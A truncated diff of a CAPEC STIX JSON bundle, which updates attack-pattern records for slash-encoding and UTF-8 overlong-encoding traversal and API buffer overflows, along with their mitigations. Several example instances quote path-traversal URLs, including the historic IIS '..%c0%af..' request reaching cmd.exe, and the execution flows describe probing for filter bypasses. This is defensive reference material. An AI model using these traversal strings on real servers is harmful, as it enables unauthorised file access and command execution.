"identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0376aefa-ed0d-471b-8fcd-71e62c9b6dd1", - "source_ref": "course-of-action--6e1f571f-420f-43a6-aaf3-cc53394f7b97", + "id": "relationship--18db8c39-5734-4976-995e-2b41058357e4", + "source_ref": "course-of-action--523a56cb-eaa5-451a-8ba9-f85b37fad844", "relationship_type": "mitigates", "target_ref": "attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f" }, { + "id": "course-of-action--5f0544cb-d0a9-41fd-805f-5990ffb5833a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-78-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Be aware of the threat of alternative method of data encoding.", - "type": "course-of-action", - "id": "course-of-action--5f0544cb-d0a9-41fd-805f-5990ffb5833a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c87e3a8c-ff00-48c7-8fc7-287c0608ac1d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c87e3a8c-ff00-48c7-8fc7-287c0608ac1d", "source_ref": "course-of-action--5f0544cb-d0a9-41fd-805f-5990ffb5833a", "relationship_type": "mitigates", "target_ref": "attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f" }, { + "id": "course-of-action--8535a537-b407-4f8c-939a-b5ac6340509b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-78-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Regular expressions can be used to filter out backslash. Make sure you decode before filtering and validating the untrusted input data.", - "type": "course-of-action", - "id": "course-of-action--8535a537-b407-4f8c-939a-b5ac6340509b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--91ab6a50-36a5-4861-85ce-aac5a6c7af09", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--91ab6a50-36a5-4861-85ce-aac5a6c7af09", "source_ref": "course-of-action--8535a537-b407-4f8c-939a-b5ac6340509b", "relationship_type": "mitigates", "target_ref": "attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f" }, { + "id": "course-of-action--c91ecbca-4b35-489b-a4c4-b298fd32b795", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-78-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "In the case of path traversals, use the principle of least privilege when determining access rights to file systems. Do not allow users to access directories/files that they should not access.", - "type": "course-of-action", - "id": "course-of-action--c91ecbca-4b35-489b-a4c4-b298fd32b795" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--12c4ce97-d297-42dc-a8bc-b477e5c4bffb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--12c4ce97-d297-42dc-a8bc-b477e5c4bffb", "source_ref": "course-of-action--c91ecbca-4b35-489b-a4c4-b298fd32b795", "relationship_type": "mitigates", "target_ref": "attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f" }, { + "id": "relationship--3f3d2ae6-65d1-4164-a0e0-b2c4925961ba", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3f3d2ae6-65d1-4164-a0e0-b2c4925961ba", "source_ref": "course-of-action--3833d761-4a54-4ed3-994b-c7c76c465ae0", "relationship_type": "mitigates", "target_ref": "attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f" }, { + "id": "course-of-action--d8d53c86-ce51-4374-9ba7-30c6af721c9b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-78-6", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.", - "type": "course-of-action", - "id": "course-of-action--d8d53c86-ce51-4374-9ba7-30c6af721c9b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--937e412f-6548-4f31-b652-45f3f5510579", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--937e412f-6548-4f31-b652-45f3f5510579", "source_ref": "course-of-action--d8d53c86-ce51-4374-9ba7-30c6af721c9b", "relationship_type": "mitigates", "target_ref": "attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f" }, { + "id": "attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3", "name": "Using Slashes in Alternate Encoding", "description": "This attack targets the encoding of the Slash characters. An attacker would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the attacker many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -43715,7 +48572,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -43839,121 +48696,130 @@ "x_capec_example_instances": [ "\n Attack Example: Slashes in Alternate Encodings\n The two following requests are equivalent on most Web servers:\n http://target server/some_directory\\..\\..\\..\\winnt\n is equivalent to\n http://target server/some_directory/../../../winnt\n Multiple encoding conversion problems can also be leveraged as various slashes are instantiated in URL-encoded, UTF-8, or Unicode. Consider the strings\n http://target server/some_directory\\..%5C..%5C..\\winnt\n where %5C is equivalent to the \\ character.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. The attacker has access to a resource path and required to use slashes as resource delimiter.

  2. The attacker tries variation and combination of the slashes characters in different encoding format.

  3. The attacker found an unfiltered combination which maps to a valid path and accesses unauthorized resources (directories, files, etc.)

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--225305ca-bb17-4652-bce6-a3e088e3e753", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-79-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process. Refer to the RFCs to safely decode URL.", - "type": "course-of-action", - "id": "course-of-action--225305ca-bb17-4652-bce6-a3e088e3e753" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9a6ee85d-1fc3-4c89-a197-b17473b215bb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9a6ee85d-1fc3-4c89-a197-b17473b215bb", "source_ref": "course-of-action--225305ca-bb17-4652-bce6-a3e088e3e753", "relationship_type": "mitigates", "target_ref": "attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3" }, { + "id": "relationship--04f00f04-9695-4b7c-9593-29b78e51dda7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--04f00f04-9695-4b7c-9593-29b78e51dda7", "source_ref": "course-of-action--95ef6587-c787-4051-b664-b5e8ca753c20", "relationship_type": "mitigates", "target_ref": "attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3" }, { + "id": "course-of-action--cfb918e7-7635-4a23-aa5e-27a2f7619338", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-79-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx)", - "type": "course-of-action", - "id": "course-of-action--cfb918e7-7635-4a23-aa5e-27a2f7619338" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--70f70a7f-5a5f-479e-ba10-554afaad269a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--70f70a7f-5a5f-479e-ba10-554afaad269a", "source_ref": "course-of-action--cfb918e7-7635-4a23-aa5e-27a2f7619338", "relationship_type": "mitigates", "target_ref": "attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3" }, { + "id": "relationship--77731bb0-70b0-41b9-8671-78db70983fae", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--77731bb0-70b0-41b9-8671-78db70983fae", "source_ref": "course-of-action--11783efd-94f2-4741-93c8-e33b1de782b8", "relationship_type": "mitigates", "target_ref": "attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3" }, { + "id": "course-of-action--04ee0d8b-40e5-4e69-8703-8e5db18aa617", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-79-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Test your path decoding process against malicious input.", - "type": "course-of-action", - "id": "course-of-action--04ee0d8b-40e5-4e69-8703-8e5db18aa617" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a701d96e-611d-4d01-988e-216e7c28a1a3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a701d96e-611d-4d01-988e-216e7c28a1a3", "source_ref": "course-of-action--04ee0d8b-40e5-4e69-8703-8e5db18aa617", "relationship_type": "mitigates", "target_ref": "attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3" }, { + "id": "relationship--83e41edb-f3d5-444b-b2a9-55f1329f2b68", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--83e41edb-f3d5-444b-b2a9-55f1329f2b68", "source_ref": "course-of-action--c91ecbca-4b35-489b-a4c4-b298fd32b795", "relationship_type": "mitigates", "target_ref": "attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3" @@ -43961,29 +48827,32 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-79-6", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Assume all input is malicious. Create a white list that defines all valid input to the application based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system.", + "description": "Assume all input is malicious. Create an allowlist that defines all valid input to the application based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--79576383-8545-4b2c-9024-f0bb9294f452" + "id": "course-of-action--832594fc-7b68-4057-b3f1-8bda4098d788" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--53933a2b-b2d5-492c-b7f0-755969d59bc8", - "source_ref": "course-of-action--79576383-8545-4b2c-9024-f0bb9294f452", + "id": "relationship--d18cc586-8a23-43d4-b493-6352b03b104a", + "source_ref": "course-of-action--832594fc-7b68-4057-b3f1-8bda4098d788", "relationship_type": "mitigates", "target_ref": "attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3" }, { + "id": "attack-pattern--e62000f0-addd-4156-b9fd-469bbb211d45", "name": "Buffer Overflow in an API Call", "description": "This attack targets libraries or shared code modules which are vulnerable to buffer overflow attacks. An attacker who has access to an API may try to embed malicious code in the API function call and exploit a buffer overflow vulnerability in the function's implementation. All clients that make use of the code library thus become vulnerable by association. This has a very broad effect on security across a system, usually affecting more than one software process.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -44073,77 +48942,83 @@ "\n Attack Example: Libc in FreeBSD\n A buffer overflow in the FreeBSD utility setlocale (found in the libc module) puts many programs at risk all at once.\n ", "\n Xtlib\n A buffer overflow in the Xt library of the X windowing system allows local users to execute commands with root privileges.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. An attacker can call an API exposed by the target host.

  2. On the probing stage, the attacker injects malicious code using the API call and observes the results. The attacker's goal is to uncover a buffer overflow vulnerability.

Exploit

  1. The attacker finds a buffer overflow vulnerability, crafts malicious code and injects it through an API call. The attacker can at worst execute remote code on the target host.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e62000f0-addd-4156-b9fd-469bbb211d45" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--1904d522-3156-4b2b-8861-ea295dd3490b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1904d522-3156-4b2b-8861-ea295dd3490b", "source_ref": "course-of-action--a253c485-f225-4dd3-b0ba-dbe4b29fa134", "relationship_type": "mitigates", "target_ref": "attack-pattern--e62000f0-addd-4156-b9fd-469bbb211d45" }, { + "id": "relationship--948df80a-6252-4723-93a8-9c5b1a9daa17", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--948df80a-6252-4723-93a8-9c5b1a9daa17", "source_ref": "course-of-action--5549f741-7e5e-4f04-86bd-90dceb9c0de9", "relationship_type": "mitigates", "target_ref": "attack-pattern--e62000f0-addd-4156-b9fd-469bbb211d45" }, { + "id": "relationship--f52fdeab-0159-4aa3-aed5-3de1e3f31e4a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f52fdeab-0159-4aa3-aed5-3de1e3f31e4a", "source_ref": "course-of-action--07b3e24d-8000-4c35-881d-2eaae3f2411e", "relationship_type": "mitigates", "target_ref": "attack-pattern--e62000f0-addd-4156-b9fd-469bbb211d45" }, { + "id": "relationship--23598190-f719-4176-baf5-1e00d32e9cec", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--23598190-f719-4176-baf5-1e00d32e9cec", "source_ref": "course-of-action--115171ef-9f32-43b6-bb8a-49f0a78286e9", "relationship_type": "mitigates", "target_ref": "attack-pattern--e62000f0-addd-4156-b9fd-469bbb211d45" }, { + "id": "relationship--aa5f5375-154b-486b-a60c-7eadb33e0a4f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--aa5f5375-154b-486b-a60c-7eadb33e0a4f", "source_ref": "course-of-action--b8955156-d3d6-4db5-bc3b-595bda29964b", "relationship_type": "mitigates", "target_ref": "attack-pattern--e62000f0-addd-4156-b9fd-469bbb211d45" }, { + "id": "attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497", "name": "Using UTF-8 Encoding to Bypass Validation Logic", "description": "This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the \"shortest possible\" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -44151,7 +49026,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -44280,7 +49155,7 @@ ], "x_capec_skills_required": { "Low": "An attacker can inject different representation of a filtered character in UTF-8 format.", - "Medium": "An attacker may craft subtle encoding of input data by using the knowledge that she has gathered about the target host." + "Medium": "An attacker may craft subtle encoding of input data by using the knowledge that they have gathered about the target host." }, "x_capec_consequences": { "Confidentiality": [ @@ -44304,109 +49179,117 @@ }, "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "\n Perhaps the most famous UTF-8 attack was against unpatched Microsoft Internet Information Server (IIS) 4 and IIS 5 servers. If an attacker made a request that looked like this\n http://servername/scripts/..%c0%af../winnt/system32/ cmd.exe\n the server didn't correctly handle %c0%af in the URL. What do you think %c0%af means? It's 11000000 10101111 in binary; and if it's broken up using the UTF-8 mapping rules, we get this: 11000000 10101111. Therefore, the character is 00000101111, or 0x2F, the slash (/) character! The %c0%af is an invalid UTF-8 representation of the / character. Such an invalid UTF-8 escape is often referred to as an overlong sequence.\n So when the attacker requested the tainted URL, he accessed\n http://servername/scripts/../../winnt/system32/cmd.exe\n In other words, he walked out of the script's virtual directory, which is marked to allow program execution, up to the root and down into the system32 directory, where he could pass commands to the command shell, Cmd.exe.See also: CVE-2000-0884" + "\n Perhaps the most famous UTF-8 attack was against unpatched Microsoft Internet Information Server (IIS) 4 and IIS 5 servers. If an attacker made a request that looked like this\n http://servername/scripts/..%c0%af../winnt/system32/ cmd.exe\n the server didn't correctly handle %c0%af in the URL. What do you think %c0%af means? It's 11000000 10101111 in binary; and if it's broken up using the UTF-8 mapping rules, we get this: 11000000 10101111. Therefore, the character is 00000101111, or 0x2F, the slash (/) character! The %c0%af is an invalid UTF-8 representation of the / character. Such an invalid UTF-8 escape is often referred to as an overlong sequence.\n So when the attacker requested the tainted URL, they accessed\n http://servername/scripts/../../winnt/system32/cmd.exe\n In other words, they walked out of the script's virtual directory, which is marked to allow program execution, up to the root and down into the system32 directory, where they could pass commands to the command shell, Cmd.exe.See also: CVE-2000-0884" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe entry points to locate vulnerabilities: The attacker uses the entry points gathered in the \"Explore\" phase as a target list and injects various UTF-8 encoded payloads to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited.

    2. Techniques
    Try to use UTF-8 encoding of content in Scripts in order to bypass validation routines.
    Try to use UTF-8 encoding of content in HTML in order to bypass validation routines.
    Try to use UTF-8 encoding of content in CSS in order to bypass validation routines.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--fb143d8a-cf0a-4047-99fb-e6c8751f522b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-80-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "The Unicode Consortium recognized multiple representations to be a problem and has revised the Unicode Standard to make multiple representations of the same code point with UTF-8 illegal. The UTF-8 Corrigendum lists the newly restricted UTF-8 range (See references). Many current applications may not have been revised to follow this rule. Verify that your application conform to the latest UTF-8 encoding specification. Pay extra attention to the filtering of illegal characters.", - "type": "course-of-action", - "id": "course-of-action--fb143d8a-cf0a-4047-99fb-e6c8751f522b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--04696e3f-623a-46fd-bd0e-c253d001cba3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--04696e3f-623a-46fd-bd0e-c253d001cba3", "source_ref": "course-of-action--fb143d8a-cf0a-4047-99fb-e6c8751f522b", "relationship_type": "mitigates", "target_ref": "attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497" }, { + "id": "course-of-action--e7dfc72d-9105-466d-b6fb-a2c15e6525b2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-80-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n The exact response required from an UTF-8 decoder on invalid input is not uniformly defined by the standards. In general, there are several ways a UTF-8 decoder might behave in the event of an invalid byte sequence:\n \n \n 1. Insert a replacement character (e.g. '?', '').\n 2. Ignore the bytes.\n 3. Interpret the bytes according to a different character encoding (often the ISO-8859-1 character map).\n 4. Not notice and decode as if the bytes were some similar bit of UTF-8.\n 5. Stop decoding and report an error (possibly giving the caller the option to continue).\n \n \n It is possible for a decoder to behave in different ways for different types of invalid input.\n RFC 3629 only requires that UTF-8 decoders must not decode \"overlong sequences\" (where a character is encoded in more bytes than needed but still adheres to the forms above). The Unicode Standard requires a Unicode-compliant decoder to \"...treat any ill-formed code unit sequence as an error condition. This guarantees that it will neither interpret nor emit an ill-formed code unit sequence.\"\n Overlong forms are one of the most troublesome types of UTF-8 data. The current RFC says they must not be decoded but older specifications for UTF-8 only gave a warning and many simpler decoders will happily decode them. Overlong forms have been used to bypass security validations in high profile products including Microsoft's IIS web server. Therefore, great care must be taken to avoid security issues if validation is performed before conversion from UTF-8, and it is generally much simpler to handle overlong forms before any input validation is done.\n To maintain security in the case of invalid input, there are two options. The first is to decode the UTF-8 before doing any input validation checks. The second is to use a decoder that, in the event of invalid input, returns either an error or text that the application considers to be harmless. Another possibility is to avoid conversion out of UTF-8 altogether but this relies on any other software that the data is passed to safely handling the invalid data.\n Another consideration is error recovery. To guarantee correct recovery after corrupt or lost bytes, decoders must be able to recognize the difference between lead and trail bytes, rather than just assuming that bytes will be of the type allowed in their position.\n ", - "type": "course-of-action", - "id": "course-of-action--e7dfc72d-9105-466d-b6fb-a2c15e6525b2" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--81bbfd31-c435-4ed4-9bb9-66851c0795ed", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--81bbfd31-c435-4ed4-9bb9-66851c0795ed", "source_ref": "course-of-action--e7dfc72d-9105-466d-b6fb-a2c15e6525b2", "relationship_type": "mitigates", "target_ref": "attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497" }, { + "id": "course-of-action--2984b19d-0e72-4ebb-abaa-04953b80dbe3", "created_by_ref": 